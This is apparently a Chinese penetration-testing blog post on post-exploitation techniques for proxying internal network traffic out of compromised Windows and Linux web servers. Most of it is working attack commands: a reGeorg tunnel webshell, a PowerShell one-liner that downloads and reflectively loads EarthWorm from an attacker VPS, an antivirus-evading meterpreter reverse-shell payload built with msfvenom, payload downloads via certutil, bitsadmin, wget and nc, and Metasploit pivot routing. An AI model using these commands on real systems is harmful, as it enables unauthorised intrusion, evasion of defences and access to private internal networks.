渗透中的一些代理方法

前言

渗透测试任务的后期,需要将目标系统内部的网络流量代理出来。实际情况中,不同的操作系统和Web服务会有不同的代理方法。下面以Web服务器操作系统Windows和Linux作为区分,阐述一些针对于这两类服务器的边界代理方法和技术。

Windows

前提:拥有一个webshell或cmdshell。

webshell socks5代理

这种方案典型的工具组合有reGeorg+proxychains、reGeorg+proxifier等。通过上传reGeorg的tunnel webshell,以socks5的形式把内部网络代理出来。该方法的原理是利用tunnel脚本在服务器端开启socks5反向代理,随后以webshell形成一条链路到达本地,本地运行reGeorgSocksProxy.py即可通过相应的端口代理访问内网。示例:

上传tunnel webshell并在浏览器中打开:

http://0x0c.cc/tunnel.php

此时页面将会显示Georg _says_, 'All seems fine'。然后在本地运行:

python reGeorgSocksProxy.py -l 127.0.0.1 -p 1080 -u http://0x0c.cc/tunnel.php

使用代理工具proxychains等通过本地的1080端口进行代理:

proxychains4 nmap -sT -Pn -p 1-10000 192.168.1.0/24

此方法不会顾及网络消息传递规则和所处的网络环境,只要能访问上传的webshell即可以进行socks5代理,使用起来非常方便。但实际情况下,服务器往往受到保护,会使代理的成功率降低。

PowerShell远程加载无文件socks5代理

Windows PowerShell是一种命令行程序和脚本环境,它支持用户使用.Net Framework的功能。PowerShell有这样一种操作:通过在PowerShell脚本中嵌入二进制文件的方式启动运行该二进制文件,因此无需写入磁盘(https://truesecdev.wordpress.com/2016/03/15/embedding-exe-files-into-powershell-scripts),达到无文件(文件不落盘)运行的效果。

得益于PowerShell脚本大集合PowerSploit(https://github.com/PowerShellMafia/PowerSploit),可以很容易地利用PowerShell实现远程加载脚本的无文件socks5代理。比如使用PowerShell+PowerSploit+Earthworm的工具组合。

首先在自己的vps开web服务,并在根目录下放置PowerSploit的脚本Invoke-ReflectivePEInjection.ps1(这里要使用@clymb3r修改后的脚本https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1)以及EarthWorm可执行文件ew.exe。

先让EtherWorm监听:

ew.exe -s rcsocks -l 1080 -e 8888

在目标服务器的webshell或cmdshell中执行:

powershell IEX (New-Object Net.WebClient).DownloadString('http://1.2.3.4/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://1.2.3.4/ew.exe -ExeArgs "-s rssocks -d 1.2.3.4 -e 8888" -ForceASLR

这样就能反弹出一个socks5的代理到vps,接下来使用Proxifier等工具接管代理就可以了。不过实际实践的时候未成功…抛出一个_PE platform doesn’t match the architecture of the process it is being loadedin (32/64bit)_的错误,按照文章https://truesecdev.wordpress.com/2016/03/15/embedding-exe-files-into-powershell-scripts的方法使用32位的PowerShell依然无法正常执行,并且出现崩溃的现象,暂时还未解决。

很喜欢此方法的思路,真的非常棒。

Metasploit socks4a代理

因为已经拥有了webshell,所以可以先使用msfvenom生成一个能反弹meterpreter的webshell或者可执行文件exe。示例:

msfvenom生成一个反弹meterpreter的可执行文件,并使用多层编码进行免杀:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/alpha_upper -i 5 --platform windows --arch x86 lhost=1.2.3.4 lport=4444 -f raw | msfvenom -e x86/shikata_ga_nai -i 5 --platform windows --arch x86 -f raw | msfvenom -e x86/countdown -i 5 --platform windows --arch x86 -f exe -o test.exe

通过webshell将生成的马上传。

如果只有cmdshell,可以先将马传至vps然后用Powershell和bitsadmin下载到服务器(或其他更多姿势https://www.t00ls.net/articles-37253.html):

powershell (new-object System.Net.WebClient).DownloadFile('http://0x0c.cc/test.exe','d:\test.exe')
bitsadmin /transfer n http://0x0c.cc/test.exe  d:\\test.exe

也可以使用certutil(https://evi1cg.me/archives/Tricks.html):

certutil -urlcache -split -f http://0x0c.cc/tools/ew.exe ew.exe # 下载ew
certutil -urlcache -split -f http://0x0c.cc/tools/ew.exe delete # 删除缓存

接着在Metasploit设置监听:

msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run

在webshell或cmdshell运行可执行文件test.exe,坐等反弹回来的meterpreter。当然如果没有公网IP,可以先使用lcx.exertcp.py等端口转发工具将本地端口映射到公网跳板机或vps,再执行操作。

接收到Meterpreter以后先添加路由表信息:

meterpreter > run get_local_subnets
Local Subnet: 192.168.1.0/255.255.255.0
meterpreter > background
msf exploit(handler) > route add 192.168.1.0/24 255.255.255.0 1
[*] Route added
msf exploit(handler) > route print
Active Routing Table
====================
Subnet Netmask Gateway
----- ------- -------
192.168.1.0/24 255.255.255.0 Session 1

通过auxiliary/server/socks4a模块建立本地socks4a代理:

msf exploit(handler) > use auxiliary/server/socks4a 
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(socks4a) > exploit -y
[*] Auxiliary module execution completed
msf auxiliary(socks4a) >
[*] Starting the socks4a proxy server

最后使用proxychains、MacProxy等代理工具接管socks4a代理就好。

Linux

由于Linux自带很多工具,例如nc、wget、python等等,因此当Linux服务器做代理往往比Windows容易。如果已经拥有了Linux下的webshell、bashshell,可以使用以下几种方法。

webshell socks5代理

与Windows一致。

Metasploit socks4a代理

与Windows中一致,不过生成马注意要生成Linux下的可执行文件.elf(或webshell也行)。在上传马时可以采取相同的思路,即先上传至vps,再从服务器端进行下载,下载的方法有:

ftp s4kur4@1.2.3.4 2121
ftp> get test.elf /tmp/test.elf
ftp> bye
wget -c http://0x0c.cc/test.elf -P /tmp/
scp -r s4kur4@1.2.3.4:/home/test.elf /tmp/test.elf
nc -l -p 8787 < /home/test.elf   # vps:1.2.3.4
nc 1.2.3.4 8787 > /tmp/test.elf # Server

SSH tunnel socks5代理

SSH提供了三种方式的端口转发功能,能够将其他TCP端口的网络数据通过SSH进行转发,极大地方便了渗透测试过程中数据流的穿越。

例如,当目标Web服务器的SSH服务可以直接被访问时,利用SSH动态端口转发可以实现一条命令的socks5代理:

ssh -qTNf -D 127.0.0.1:12345 root@1.2.3.4

然后用本地代理工具接管代理即可。

当目标的SSH服务无法直接访问时,可以在webshell或generalshell或reverseshell中对SSH端口进行转发。例如可以先服务器的SSH端口转发至跳板机,随后借助跳板机进行socks5代理。

首先向跳板机和目标服务器上传rtcp.py,在跳板机上执行:

python rtcp.py l:10001 l:10002

在目标服务器执行:

python rtcp.py c:localhost:22 c:1.2.3.4:10001

然后和跳板机的10002端口建立SSH隧道进行socks5代理:

ssh -qTNf -D 127.0.0.1:12345 root@1.2.3.4 -p 10002

* 转载请注明作者及来源